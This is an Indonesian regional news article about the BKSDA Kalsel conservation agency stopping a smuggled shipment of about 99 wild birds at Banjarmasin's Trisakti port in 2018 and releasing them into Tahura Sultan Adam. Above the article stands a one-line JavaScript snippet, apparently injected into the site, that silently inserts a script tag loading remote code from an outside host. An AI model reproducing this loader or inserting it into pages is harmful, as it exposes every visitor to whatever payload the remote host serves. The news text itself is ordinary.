(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarbaru

BKSDA Gagalkan Penyelundupan Burung Tanpa Dokumen Keluar Kalsel


BANJARBARU, Balai Konservasi Sumber Daya Alam (BKSDA) Kalsel menggagalkan penyelundupan satwa liar jenis burung tanpa dokumen keluar dari Kalimantan Selatan melalui jalur laut di Pelabuhan Trisakti Banjarmasin, Sabtu (31/3).

Kepala BKSDA Kalsel Dr Mahrus Aryadi melalui Kepala SKW II Banjarbaru M Ridwan Effendi menyampaikan, keberhasilan petugas dalam menggagalkan penyelundupan tersebut berkat koordinasi dan kesigapan antara petugas gabungan BKSDA Kalsel dengan Polres Kawasan Pelabuhan Laut Banjarmasin.

Dia menambahkan, hal ini ini berawal dari kecurigaan warga setempat pada tanggal  31 Maret 2018 sekitar pukul 20.00 wita, melihat kotak bekas buah lengkeng yang ternyata berisi satwa jenis burung di sekitar lokasi pelabuhan dengan kondisi agak tersembunyi oleh badan truk, tetapi tidak diketahui siapa pemilik pastinya. Mereka melaporkan kejadian ini kepada kepolisian setempat yang kemudian dikoordinasikan kepada pihak BKSDA Kalimantan Selatan (Call Center BKSDA Kalsel).

“Dilakukan pemeriksaan secara intensif terhadap box-box yang berisi beberapa jenis burung tersebut. Dari hasi pemeriksaan tidak ditemukan siapa pemiliknya, juga dokumen resmi dari Pihak Karantina dan Kehutanan tidak ditemukan yang berarti illegal untuk proses pengiriman,” ujarnya.

Satwa-satwa tersebut terdiri atas berbagai jenis burung seperti Burung Beo (5 ekor), Burung Cucak Hijau (6 ekor), Burung Punglor (47 ekor), Burung Murai (5 ekor), Burung Teledekan (27 ekor), Burung Cucak Ranting (4 ekor), dan Burung Kacer (5 ekor).  Seluruh burung tersebut selanjutnya dilakukan penyitaan oleh pihak Kepolisian Resort Kota Banjarmasin untuk kemudian diserahterimakan kepada BKSDA Kalsel.

Burung-burung tanpa dokumen tersebut setelah dilakukan pengecekan, segera dilepasliarkan di kawasan Tahura Sultan Adam pada hari Senin (2/4).

“Hal tersebut dilakukan untuk meminimalisir bertambahnya burung-burung yang mati disebabkan stress dan kelelahan, karena sebelumnya ada beberapa burung yang sudah mati,” pungkasnya.

Sebelumnya, BKSDA telah melepasliarkan dua ekor elang bondol (Haliastur indus) dan seekor elang brontok (Nisaetus cirrhatus) setelah lebih kurang enam bulan menginap di kandang transit milik Balai Konservasi Sumber Daya Alam Seksi Konservasi Wilayah (BKSDA SKW 2) Banjarbaru.

Burung elang tersebut dilepasliarkan di Taman Wisata Alam Bakut di Barito Kuala. Alasan dipilihnya TWA Pulau Bakut sebagai tempat pelepasliaran, karena kawasan itu memiliki ciri yang sesuai dengan karakter habitat yang diperlukan oleh elang-elang tersebut, terutama dari segi ketersediaan pakan mereka berupa ikan.

Dia mengatakan, elang-elang tersebut berasal dari hasil patroli tim BKSDA dan menerima penyerahan langsung dari masyarakat. Satu elang merupakan hasil patroli dan dua hasil menerima penyerahan dari masyarakat.(abdullah)

DAFTAR BURUNG YANG DISELUNDUPKAN

Burung Beo 5 ekor
Burung Cucak Hijau 6 ekor
Burung Punglor 47 ekor
Burung Murai 5 ekor
Burung Teledekan 27 ekor
Burung Cucak Ranting 4 ekor
Burung Kacer 5 ekor
Reporter: Abdullah
Editor: Chell

Desy Arfianty

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

2 tahun ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

2 tahun ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

2 tahun ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

2 tahun ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

2 tahun ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

2 tahun ago

This website uses cookies.